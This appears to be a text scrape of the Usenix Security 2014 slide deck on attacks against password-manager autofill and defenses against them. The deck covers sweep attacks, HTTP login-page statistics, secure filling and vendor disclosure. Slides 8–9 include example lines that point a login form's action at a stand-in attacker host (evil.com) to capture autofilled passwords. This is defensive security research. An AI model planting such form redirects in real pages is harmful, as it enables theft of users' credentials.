David Silver Suman Jana Dan Boneh Stanford University Eric Chen Collin Jackson Carnegie Mellon University Usenix Security 2014 82114 A tool for 2 Convenience Security Goal Both ID: 657872
Download Presentation The PPT/PDF document "Password Managers: Attacks and Defenses" is the property of its rightful owner. Permission is granted to download and print the materials on this web site for personal, non-commercial use only, and to display it on your personal computer provided you do not modify the materials and that you retain all copyright notices contained in the materials. By downloading content from our website, you accept the terms of this agreement.
Slide1
Password Managers:Attacks and Defenses
David Silver Suman Jana Dan BonehStanford University Eric Chen Collin Jackson Carnegie Mellon University
Usenix Security 2014
8/21/14Slide2
A tool for…
2
Convenience?
Security?
Goal: Both!Slide3
Password Manager Workflow
3
Password Manager
Save manually entered password
Autofill username and password
Topic of this talkSlide4
Manual Autofill
4
Page Load
User InteractionSlide5
Automatic Autofill
5
Page Load
Convenient…but hard to make secure
User InteractionSlide6
Should we autofill?
6
Automatic Autofill Corner CasesSlide7
Should we autofill?
The contestants7
Browser-based:
Chrome 34
Firefox 29
Safari 7.0
IE 11
Android
Browser
4.3
Third-party:
LastPass
2.0
Norton
IdentitySafe 2014
1Password
4.5
KeePass
2.24
Keeper
7.5Slide8
Should we autofill?
Different form action
<form action=
“
http://evil.com
”
>
8
HTTPS
Automatic Autofill:
At Save:
Now:
<
form
action=
“
login.php
">
Alternatively, what if action is changed by JavaScript
after
autofilling?
form.action = “http://evil.com”Slide9
Should we autofill?
Different form action
<form action=
“
http://evil.com
"
>
9
HTTPS
Alternatively, what if action is changed by JavaScript
after
autofilling?
form.action = “http://evil.com”
Automatic Autofill:
At Save:
Now:
<
form
action=
“
login.php
">Slide10
Should we autofill?
Click through HTTPS warning10
Automatic Autofill:Slide11
Should we autofill?
iFrame not same-origin with parent11
Automatic Autofill:Slide12
12
Sweep Attacks
Stealing multiple passwords without user interactionSlide13
Threat Model: Coffee-shop Attacker
13
1.
2.
Save Password
for b.com
Goal: Trick password manager into revealing
b.com’s password
Browse a.comSlide14
Obligatory Food Example
14Slide15
Redirect Sweep Attack on HTTP Login Page
15
GET papajohns.com
REDIRECT att.com
GET att.com
att.com
GET papajohns.com
papajohns.com
+ attacker JS
automatic
autofill
att.com password stolen!Slide16
16
Redirect Sweep Attack Demo (Fast)
http://youtu.be/n0xIiWl0pZoSlide17
17
Redirect Sweep Attack Demo (Slow)
http://youtu.be/qiiSuIE79NoSlide18
HTTP Login Pages
18
Alexa Top 500*
Login Pages
408
—
Load Login Page over HTTP (submit over HTTP or HTTPS)
194
47%
*as of October 2013
HTTP pages trivially vulnerable to code injection by coffee shop attacker
att.com vulnerable because it loads login page over HTTP
(even though it submits over HTTPS)Slide19
Attacking HTTPS
XSS InjectionActive Mixed ContentTrick user into clicking through HTTPS warning
19Slide20
Other sweep attacks (see paper)
20
iFrame sweep attackWindow sweep attackSlide21
Sweep Attacks
Vulnerability
Automatic
Manual
21
Vulnerable
Not VulnerableSlide22
Defending against sweep attacks
22Slide23
Defense #1: Manual Autofill
as secure as manual entryFill-and-SubmitStill just one click for the user
23
Page Load
Less convenient?Slide24
Can we do better?
Security
24Slide25
Defense #2: Secure Filling
more secure than manual entryDon’t let JavaScript read autofilled passwordsLet form submit only if action matches action when password was saved(Site must submit form using HTTPS)
Prototype implementation in Chromium (~50 lines)25Slide26
Security
More secure than manual entry
26Slide27
AJAX
10 sites out of Alexa Top 50* use AJAX to submit password formsWorkaroundsSubmit form in iFrameCreate browser SendPwd API
27
*as of October 2013Slide28
Disclosure
Disclosed results to password vendorsWarning when autofilling HTTPS passwords on HTTP pagesDon't automatically autofill passwords in iFrames not same-origin with parent
28Slide29
Conclusions
Automatic autofill has lots of corner casesSweep Attacks: steal passwords without any user interactionDefensesRequire user interaction before filling passwords
Secure FillingJust as convenient for user but much more secure
29Slide30
Questions?
30Slide31
HTTP Login Pages
31
Alexa Top 500*
Login Pages
408
—
Load over HTTP, submit over HTTPS
71
17%
Load and submit over HTTP
123
30%
Load over HTTP
194
47%
*as of October 2013Slide32
What about strength checkers?
Only needed on registration formsUse JavaScript to read password fieldDon’t conflict with secure filling - password managers shouldn’t be filling existing passwords on registration forms
32